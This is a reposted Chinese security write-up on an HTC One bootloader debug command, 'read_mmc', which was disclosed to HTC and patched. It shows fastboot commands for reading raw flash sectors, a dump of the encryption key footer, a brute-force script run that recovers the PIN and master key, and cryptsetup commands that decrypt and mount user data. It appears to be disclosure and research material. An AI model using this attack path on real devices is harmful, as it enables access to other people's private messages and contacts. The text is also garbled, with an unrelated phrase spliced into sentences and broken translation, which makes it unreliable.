
HTC一部手机正在运行Android 4.2.2,HBOOT 1.54.0000,它具有一个称为Bootloader的漏洞. 早在2014年2月就已将此漏洞报告给HTC官员htc解密存储密码,该漏洞已在下个月修复. 获得HTC官方批准后,我们现在将发布整个漏洞测试过程.
read_emmc命令也出现在2011年发布的HTC DesireZ手机中. 此命令使攻击者可以访问手机的内存并可能获取敏感信息,例如短信和联系人.
此外,此命令允许攻击者通过bruteforce自动获取电话PIN /密码. 他将增加一个空白,以防止用户定义容易猜测的PIN /密码(例如4位PIN). 这很常见,因为PIN /密码也可以每天用于解锁手机.
此攻击仅限于HTC One手机,并且必须打开全盘加密,这意味着这些手机受Android加密保护.
在某些HTC手机中,read_emmc命令似乎是用于调试的命令. 我们认为,该命令不应出现在用户的手机上.
本文介绍了HTC One在Android全盘加密(AES加密,合理的密钥长度,盐)上的强大安全机制.
访问闪存
关闭HTC One并将其插入计算机,然后进入快速启动模式(在电源关闭时按住音量+键和电源按钮,然后释放电源按钮),以便我们可以进入HBOOT的快速启动模式.
这时htc解密存储密码,我们可以使用fastboot读取内存操作,命令如下:

commandformat: read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]
让我们看一下参数的定义:
第一个参数告诉机器从哪里读取. “ Emmc”是读取闪存,“ sd”是读取存储卡
#blocks: 读取的块数
#blocks / read: 一次读取的块数
显示: 设置为1以显示结果
读取第一个扇区,可以使用以下命令
$fastboot oem read_mmc emmc 0 1 1 1 ... (bootloader) reading sector 0 ~ 0 (bootloader) 0 ... (bootloader) 0 (bootloader) DF (bootloader) FF (bootloader) 3 (bootloader) 0 (bootloader) 20 (bootloader) E0 (bootloader) 9F (bootloader) 3 (bootloader) 55 (bootloader) AA (bootloader) read sector done average = 172 OKAY [ 0.310s] finished. total time: 0.311s
从一开始,我们可以看到很多0(超过400个字节),结尾是“ 55 AA”.

使用手机上的ADB Shell,我们可以看到用户的数据子块“ mmcblk0p37”从6422528开始. 在Android下,它对应于已安装的ext4分区
shell@android#cat /proc/emmc dev: size erasesize name ... mmcblk0p37: 680000000 00000200 "userdata" shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start 6422528 shell@android:# mount ... /dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
因此,攻击者可以使用“ read_mmc”命令浏览闪存中用户数据分区的内容,即使用户设置了PIN /密码,也无法将其阻止.
$fastboot oem read_mmc emmc 6422530 1 1 1 ... (bootloader) reading sector 6422530 ~ 6422530 (bootloader) 0 ... (bootloader) 2F (bootloader) 64 (bootloader) 61 (bootloader) 74 (bootloader) 61 ... (bootloader) read sector done average = 146 OKAY [ 0.359s] finished. total time: 0.359s
“ 2F 64 61 74 61”字节序列是用户数据分区开始处的“ / data” ASCII字符串.
我们的第一个想法是从闪存中转储用户数据,但是此过程需要几天甚至几个月的时间.
另一个想法是使用FUSE(用户空间文件系统)通过USB连接计算机以转储用户数据.
绕过Android全盘加密(PDE)
在HTC Desire Z(Android 2.x)时代,全盘加密尚未出现. 现在,我们考虑是否有一种绕过PDE并使用“ read_mmc”漏洞的方法.

ThomasCannon在Defcon 2012上向我们展示了PDE的工作过程,该过程使用蛮力破解PIN /密码并解密用户扇区数据脚本. 当时,他使用的是纯本机Google Nexus S,与本示例稍有不同.
我们决定对设备进行加密,“存储>手机存储的加密”. 通过它的方法,我们注意到出现了一个额外的分区,该分区用于存储密钥.
$hexdump -C extra
00000000 b1 b5 d0 01 00 00 00 68 00 00 00 00 00 00 00 |........h.......|
00000010 20 00 00 00 00 00 00 00 00 00 40 03 00 00 00 00 |.........@.....|
00000020 00 00 00 00 61 65 73 2d 63 62 63 2d 65 73 73 69 |....aes-cbc-essi|
00000030 76 3a 73 68 61 32 35 36 00 00 00 00 00 00 00 00 |v:sha256........|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000060 00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |.............T@.|
00000070 b4 c1 e4 91 69 10 4b 55 2e 47 64 31 13 52 ad 2d |....i.KU.Gd1.R.-|
00000080 bd 8c 42 8e d6 84 00} 00 00 00 00 00 00 00 00 |..B.............|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |..........4....9|
000000b0 0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J..............|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200
注意: 要解密主密钥和内部数据,建议您看一下Thomas的幻灯片.
我们就在加密头的位置,所以我可以很快得到它
shell@android#cat /proc/emmc dev: size erasesize name ... mmcblk0p27: 00010000 00000200 "extra" shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start 586799
然后,我们可以确认用户数据分区已再次加密. 第一个字节告诉我们“这是加密设备: )”,仅在HTC One中可用. 他之所以可以这样写,是因为未使用默认ext4分区中的第一个字节,其他字节是随机字节.
shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64 00000000 54 68 69 73 20 69 73 20 61 6e 20 65 6e 63 72 79 |This is an encry| 00000010 70 74 65 64 20 64 65 76 69 63 65 3a 29 6f c3 a0 |pted device:)o..| 00000020 26 bc 76 ed a8 77 ef 6a 95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X| 00000030 91 fe 8e 14 9e 81 05 a4 28 65 64 3c 1b e2 11 56 |........(ed<...V| 00000040
接下来,我们可以确定我们可以访问此标头,并在快速启动中使用“ read_mmc”命令来加密用户数据分区

$fastboot oem read_mmc emmc 586799 1 1 1
因此,我们可以编写一个小脚本来读取PDE头(用户数据分区的第一个扇区),然后通过计算机对其进行破解.
#python bruteforce_htcone_over_reademmc.py oem read_mmc emmc 6422528 1 1 1 oem read_mmc emmc 586799 1 1 1 Footer File : extra Magic : 0xD0B5B1 Major Version : 1 Minor Version : 0 Footer Size : 104 bytes Flags : 0x00000000 Key Size : 256 bits Failed Decrypts: 0 Crypto Type : aes-cbc-essiv:sha256 Encrypted Key :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD828ED68400 Salt : 0xC71F34809709FD390B4A91D9D9D800CD ---------------- Trying to Bruteforce Password... please wait Found PIN!: 0000 Saving decrypted master key to 'keyfile'
安装用户数据的加密分区
攻击者可以通过上面的方法轻松获得PIN /密码. 他可以正常连接电话,重写或创建PIN /密码,然后打开ADB来执行他想做的任何事情.
#mkdir mnt # losetup /dev/loop0 userdata.img # cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata # mount /dev/mapper/userdata mnt
在此示例中,我们甚至可以通过USB在计算机上执行“ read_mmc”命令.
有关详细信息,请参见GitHub.
[参考资料Sogeti,文本/实习编辑Iris,转载请注明来自FreeBuf黑客和极客(FreeBuf.COM)]
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-264989-1.html